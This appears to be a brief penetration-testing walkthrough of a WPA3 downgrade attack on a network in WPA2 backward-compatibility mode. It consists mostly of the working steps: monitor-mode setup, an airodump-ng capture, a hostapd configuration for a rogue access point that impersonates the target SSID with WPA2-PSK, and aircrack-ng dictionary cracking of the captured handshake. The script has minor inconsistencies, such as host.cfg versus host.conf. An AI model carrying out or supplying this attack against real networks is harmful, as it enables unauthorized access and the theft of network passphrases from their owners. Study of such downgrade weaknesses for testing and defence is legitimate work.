WPA3 Downgrade attack

WLAN configured for WPA3 SAE with backward compatibility

Confirmation via airodump-ng

Create a rouge access point that will broadcast an RSN IE of WPA2

Start airodump-ng before running the fake AP

Start fake AP

Clients are already trying to auth against the fake AP

The fake AP does not know the correct PSK, but the client and AP will exchange a few frames. The four-way hand-shake was captured

Attempt to retrieve the PSK via a dictionary attack

Script to execute the scenario

:> ifconfig wlan0 down
:> iw dev wlan0 set monitor none
:> ifconfig wlan0 up

:> airodump-ng --band abg --essid xxx-GUEST -w xxxguest wlan0 --channel 1,6,11



----host.cfg-----
interface=wlan0
ssid=XXX-GUEST
hw_mode=g
channel=9
auth_algs=1
wpa=2
wpa_passphrase=LETMEIN1234
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP

:> hostapd host.conf

:> aircrack-ng *.pcap -w rockyou.txt

Resources

WPA3 Downgrade attack